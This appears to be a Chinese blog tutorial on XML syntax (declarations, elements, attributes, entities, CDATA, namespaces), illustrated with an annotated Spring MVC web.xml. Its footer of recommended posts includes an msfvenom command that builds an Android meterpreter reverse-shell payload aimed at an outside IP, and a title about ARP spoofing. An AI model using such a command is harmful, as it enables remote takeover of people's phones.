今天开始研究xml,其实在实际的开发中,我们参与到真正的XML开发并不是很多,最多写一个配置,但是我还是觉得很有必要把XML的知识整理一遍。作为基本的2种的数据交互载体(还有一个是json),基本的XML的规范还是应该要懂的,并不是单纯的去为了写一个配置去敲几行代码,至少应该把XML文档的解析和java对XML的处理要整理清楚了。

除了上面讲到的,其实还有一个很是普遍的情况来使用XML。比如说我们在撸码的时候,一些static final的属性或者字段(对应XML就是数据)我们不想硬码写4在代码中,最常用的就是2种方法:一种写在配置文件中,要不就是XML配置,要不就是properties配置,一种就是写在数据库中,个人觉得一些经常改变的配置这些完成可以封装成一个对象,然后统一存在数据库中,比如说一个页面的一些默认初始化信息等等。这样子在后期的时候,我们就根本不用来改项目,动都不用动,直接改数据库数据就好了,很是方便。



好了,废话不多说,无废话XML现在开篇:

定义:XML(eXtensible Markup Language)是万维网联盟(World Wide Web Consortium W3C)定义的一种可扩展标志语言。可扩展性指允许用户按照XML规则自定义标记(tags 标签)。

强项:轻松表达多层结构的数据;可扩展。

优点:平台无关,语言无关。设计目标是描述数据并集中于数据的内容,与显示分离。

提醒:不能用XML来直接写网页。即便是包含了XML数据,依然要转换成HTML格式才能在浏览器上显示。

语法规则:1,XML文件有且仅有一个根标记,其他标记必须封装在根标记中,文件的标记必须形成树状结构。2,大小写敏感。3,标记的属性必须用""或''括起来。

 



  • XML细节:
  • 一、 声明

大多数XML文档以XML声明作为开始,它向解析器提供了关于文档的基本信息。建议使用XML声明,但它不是必需的。如果有的话,那么它一定是文档的第一行内容。    例如:

   

 <?xml  version="1.0"  encoding="UTF-8" standalone="no"?>

声明最多可以包含三个名称-值对(许多人称它们为属性,尽管在技术上它们并不是)。(<?xml 问号与xml之间不能有空格。)

    1,version 是使用的XML 版本:1.0, 1.1。实际中一般往往都是1.0的。

    2,encoding 是该文档所使用的字符集。该声明中引用的ISO-8859-1 字符集包括大多数西欧语言用到的所有字符。

      默认字符在UTF-8字符集中,这是一个几乎支持世界上所有语言的字符和象形文字的Unicode 标准。

    3,standalone(可以是yes 或no)定义了是否孤立处理该文档。      如果XML文档没有引用任何其它文件,则可以指定 standalone="yes"。      如果XML文档引用其它描述该文档可以包含什么的文件(如DTD),则 standalone="no"。默认值为"no"。

  •  二、 标记

左尖括号“<“和右尖括号“>“之间的文本

      1. 在<  >中的称为开始标记;在</  >中的称为结束标记

      2. 空标记:不包含元素的标记。空标签必须以“/>”结束。格式: <空标记的名称/> <空标记的名称 属性列表/>

    注意:     1, 除空标记外,标签必须成对:有始有终。所有的开始标签和结束标签必须匹配。     ,2,在标记符“<“和"标记的名称"之间不能含有空格。在标记符"/>"前面可以有空格或回行。3, 标签必须嵌套正确。

    XML标记必须遵循下面的命名规则:

     1.名字中可以包含字母、数字以及其它字母或文字;还可包含下划线(_)、点(.)、连字符(-)

     2.名字不能以数字开头;可以用字母、文字或者下划线开头。

     3.名字不能以字母xml (或XML 或Xml ..) 开头;

     4.名字中不能包含空格。

  •     三、 元素

    位于开始标记与结束标记间。    一份文档有且只有一个根元素。    根元素下的所有元素叫“子元素”。    标签必须嵌套正确。    不包含自子元素的元素叫“叶子”;包含子元素的元素叫“分支”。

    如: <eric>…… </eric>

  •     四、 属性

一个元素的开始标志中的名称-值对。    所有的属性值必须位于单引号或双引号中。    每一个元素的属性不允许出现超过一次。    开始标志内,类似赋值语句

    如:<eric age="80">……</eric>

  •     五、 注释

注释可以出现在文档的任何位置。(但不建议放在声明前面,部分浏览器会报错)。    注释以 <!-- 开始,以 -->  结束。    注释内不能包含双连字符(--);除此之外,注释可以包含任何内容。    注释内的任何标记都被忽略。

  •     六、 处理指令

处理指令是为使用一段特殊代码而设计的标记,简称为PI。    大多数XML 文档都是以XML 声明开始,该声明本身就是特殊的处理指令。    处理指令对应用程序特定的数据进行编码。一条处理指令包含一个目标,后跟数据。用<?和?>定界符将处理指令包起来。    目标确定应用程序,而对应用程序不能识别的目标,其会忽略这些处理指令。

  •     七、 实体

XML 规范预定义了五个实体。

      &lt;   ==== <

      &gt;   ==== >

      &quot; ==== ”

      &apos; ==== ‘

      &amp;  ==== &

    自定义实体:在DTD中定义 <!ENTITY 实体标志 "实体内容">。      在xml中引用自定义实体,用  &实体标志;  代表实体内容。    另外,无法从键盘输入的字符可以使用字符引用,就是用字符的Unicode代码点来引用该字符。      以"&#x"开始字符引用,以分号结尾,x必须为小写,使用十六进制。如: = 表示等于号。      也可以使用字符引用来引用 <,>,',",&  "。      查看字符的代码点(附件-> 系统工具-> 字符映射表)。

  • 八、 CDATA

当一段文本中出现很多实体引用和字符引用时,会导致文本数据的读写困难,CDATA段就是为了解决这一问题引入的。    DATA区段开始于 "<![CDATA["  结束于  "]]>" 。    CDATA内部的所有东西都会被解析器忽略解析,不用检查它的格式。    但是CDATA段中不能嵌套另一个CDATA段。

  •     九、 属性

属性是标记的属性,可以为标记添加附加信息。

    (1)属性的组成

       属性是一个名值对,必须由名称和值组成,属性必须在标记的开始标记或空标记中声明,用"="为属性指定一个值。

       语法如下:

           <标记名称 属性列表/> 

           <标记名称 属性列表>XXX</标记名称> 

       例如: <桌子 width="40" height='100'/> 

    (2)使有属性的原则

       属性不体现数据的结构,只是数据的附加信息;

       一个信息是作为一个标记的属性或子标记,取决于具体问题,不要因为属性的频繁使用破坏XML的数据结构。

       下面是一个结构清晰的XML文件:

           

<楼房 height="23m" width="12m">
<结构>混凝土</结构>
<类别>商用</类别>
</楼房>

下面是一个结构不清晰的XML文件:

         

 <楼房 height="23m" width="12m" 结构="混凝土" 建筑商="华海集团" 类别="商用"></楼房> 

关于什么时候使用属性,什么时候使用子元素,严格上并没有规定:我们在自定义一个XML尽量的遵循一些默认的规则,比如说要是这个属性里面还有下一级,那么就应该使用子元素了。总体上的规则也是很好理解的:要是这个字段是表示前面那个标签的一个附属的说明的话,就应该用属性。要是这个字段和前面那个标签在结构上有明确的父子包含关系,就应该用子元素了。

  • 十、 名称空间/包

XML文件允许自定义标记,所以可能出现同名字的标记,为了区分这些标记,就需要使用名称空间。

    名称空间的目的是有效的区分相同的标记,其实并不真实存在。

    语法: 声明有前缀的名称空间  xmlns:前缀名=名称空间的名字

          声明无前缀的名称空间  xmlns=名称空间的名字  (缺省) 

    注意:当且仅当它们的名字相同时称二个名称空间相同,也就是说,对于有前缀的名称空间,如果二个名称空间的名字相同,即使前缀不相同,也是相同的名称空间,返之同然。前缀只是方便引用而已。

  •   十一、自定义XML

实际开发中,基本不会自己去定义一个XML,这个只是我们自己用来实践XML的时候才会写到。我们自己定义一个XML,那么到底如何验证我们自己写的XML没有问题呢?很简单,用浏览器打开,要是用浏览器可以正确的打开,那么我们这个XML就没有问题。

  以下附一份规格良好的XML(我最早的时候研究SPRINGMVC时的WEB.XML):

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5"> <display-name>springMVC</display-name>
<!-- 默认跳转页面 在这里可以配置多个 -->
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list> <!-- 在这里配置总的配置文件 任何架构的入口都是在这里嫁入的。以后看任何一个项目就先从这里看配置 这样子就明白项目所使用的框架和后台技术了
其中下面4个类型的执行顺序是:context-param###listener###filter###servlet -->
<context-param>
<param-name>contextConfigLocation</param-name>
<!-- 业务层和持久层的spring的配置文件 这些配置文件被父类spring容器使用 如果有多个文件 使用逗号隔开-->
<param-value>classpath*:config/springAnnotation-*.xml</param-value>
</context-param>
<!-- 上下文监听器 -->
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener> <!-- 使用hibernate的get或者load方法 在加事务控制的时候 为了效率问题和其他方法的事务控制是不一样的 在数据库抓取数据的时候 session已经关闭了 所以这里要加上这个过滤器 来叫session打开 -->
<filter>
<filter-name>openSession</filter-name>
<filter-class>org.springframework.orm.hibernate4.support.OpenSessionInViewFilter</filter-class>
<init-param>
<param-name>sessionFactoryBeanName</param-name>
<param-value>sessionFactory</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>openSession</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping> <!-- 解决使用ajax技术post提交表单乱码问题 要是get方法的话 一般在服务器里面配置了编码格式就可以了 但是post不行 所以要自定义 -->
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<!-- 这里是jsp中的编码格式 都被设置为统一的了 -->
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping> <servlet>
<servlet-name>springMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<!-- 加载的spring的配置文件的位置 可以和总配置文件放在一起 但是最好不要 在src下建一个配置 文件的包 这样子很清楚的 -->
<param-name>contextConfigLocation</param-name>
<param-value>classpath*:config/springAnnotation-servlet.xml</param-value>
</init-param>
<!-- 取值要是大于0 就是servlet随着容器的启动就启动了 0的话是用到的话才会启动呢 而且数值越小 启动的顺序越优先 -->
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>



无废话XML--XML细节的更多相关文章

  1. WCF入门教程(四)通过Host代码方式来承载服务 一个WCF使用TCP协议进行通协的例子 jquery ajax调用WCF,采用System.ServiceModel.WebHttpBinding System.ServiceModel.WSHttpBinding协议 学习WCF笔记之二 无废话WCF入门教程一[什么是WCF]

    WCF入门教程(四)通过Host代码方式来承载服务 Posted on 2014-05-15 13:03 停留的风 阅读(7681) 评论(0) 编辑 收藏 WCF入门教程(四)通过Host代码方式来 ...

  2. 无废话ExtJs 入门教程十九[API的使用]

    无废话ExtJs 入门教程十九[API的使用] extjs技术交流,欢迎加群(201926085) 首先解释什么是 API 来自百度百科的官方解释:API(Application Programmin ...

  3. 无废话ExtJs 入门教程二十一[继承:Extend]

    无废话ExtJs 入门教程二十一[继承:Extend] extjs技术交流,欢迎加群(201926085) 在开发中,我们在使用视图组件时,经常要设置宽度,高度,标题等属性.而这些属性可以通过“继承” ...

  4. 无废话ExtJs 入门教程二十[数据交互:AJAX]

    无废话ExtJs 入门教程二十[数据交互:AJAX] extjs技术交流,欢迎加群(521711109) 1.代码如下: 1 <!DOCTYPE html PUBLIC "-//W3C ...

  5. 无废话ExtJs 入门教程十七[列表:GridPanel]

    无废话ExtJs 入门教程十七[列表:GridPanel] extjs技术交流,欢迎加群(201926085) 在Extjs中,GridPanel用于数据显示,即我们平时说的列表页.在本节中,我们先对 ...

  6. 无废话WCF入门教程六[一个简单的Demo]

    一.前言 前面的几个章节介绍了很多理论基础,如:什么是WCF.WCF中的A.B.C.WCF的传输模式.本文从零开始和大家一起写一个小的WCF应用程序Demo. 大多框架的学习都是从增.删.改.查开始来 ...

  7. 无废话Android之listview入门,自定义的数据适配器、采用layoutInflater打气筒创建一个view对象、常用数据适配器ArrayAdapter、SimpleAdapter、使用ContentProvider(内容提供者)共享数据、短信的备份、插入一条记录到系统短信应用(3)

    1.listview入门,自定义的数据适配器 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/and ...

  8. 无废话ExtJs 入门教程十六[页面布局:Layout]

    无废话ExtJs 入门教程十六[页面布局:Layout] extjs技术交流,欢迎加群(201926085) 首先解释什么是布局: 来自百度词典的官方解释:◎ 布局 bùjú: [distributi ...

  9. 无废话ExtJs 入门教程十五[员工信息表Demo:AddUser]

    无废话ExtJs 入门教程十五[员工信息表Demo:AddUser] extjs技术交流,欢迎加群(201926085) 前面我们共介绍过10种表单组件,这些组件是我们在开发过程中最经常用到的,所以一 ...

随机推荐

  1. Core Animation文档翻译 (第一篇)

    Core Animation 文档翻译(第一篇) 前言 作为iOS 开发,官方文档的阅读是很有必要的,值此周末便写下此文.作为iOS 实际经验3年的开发,之前有阅读并实践过经典的<iOS核心动画 ...

  2. Apache kafka 工作原理介绍

    消息队列 消息队列技术是分布式应用间交换信息的一种技术.消息队列可驻留在内存或磁盘上, 队列存储消息直到它们被应用程序读走.通过消息队列,应用程序可独立地执行--它们不需要知道彼此的位置.或在继续执行 ...

  3. 【Zookeeper】Zookeeper安装配置

    本文演示使用三台Linux服务器安装Zookeeper,使用的是zookeeper-3.4.5版本,将zookeeper-3.4.5.tar.gz上传到linux服务器, 使用如下命令解压到/usr/ ...

  4. Cain工具ARP欺骗攻击

    OS:Win7工具:Cainhttp://pan.baidu.com/s/1xq9lW 密码:409z 网络:本机和被攻击电脑有线连接路由器. Cain是有名的局域网嗅探工具,有丰富的功能.比如可以解 ...

  5. 声音变调算法PitchShift(模拟汤姆猫) 附完整C++算法实现代码

    上周看到一个变调算法,挺有意思的,原本计划尝试用来润色TTS合成效果的. 实测感觉还需要进一步改进,待有空再思考改进方案. 算法细节原文,移步链接: http://blogs.zynaptiq.com ...

  6. UML建模之时序图(Sequence Diagram)

    一.时序图简介(Brief introduction) 二.时序图元素(Sequence Diagram Elements) 角色(Actor) 对象(Object) 生命线(Lifeline) 控制 ...

  7. python机器学习工具包

    1. scikit-learn: Machine Learning in Python scikit-learn是一个基于NumPy, SciPy, Matplotlib的开源机器学习工具包,主要涵盖 ...

  8. vue-router 组件复用问题

    组件系统是Vue的一个重要组成部分,它可以将一个复杂的页面抽象分解成许多小型.独立.可复用的组件,通过组合组件来组成应用程序,结合vue-router的路由功能将各个组件映射到相应的路由上,通过路由的 ...

  9. msfconsole弄外网手机木马

    创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...

  10. CodeChef June Challenge 2017

    好气啊,本来以为比赛时间还有很多,结果回家养病两天回到学校怎么比赛就结束了(雾),大约是小高考弄错了时间? 挑3道有意思的写写题解吧. Cloning 题目大意:给一个序列,每次询问两个等长区间,问区 ...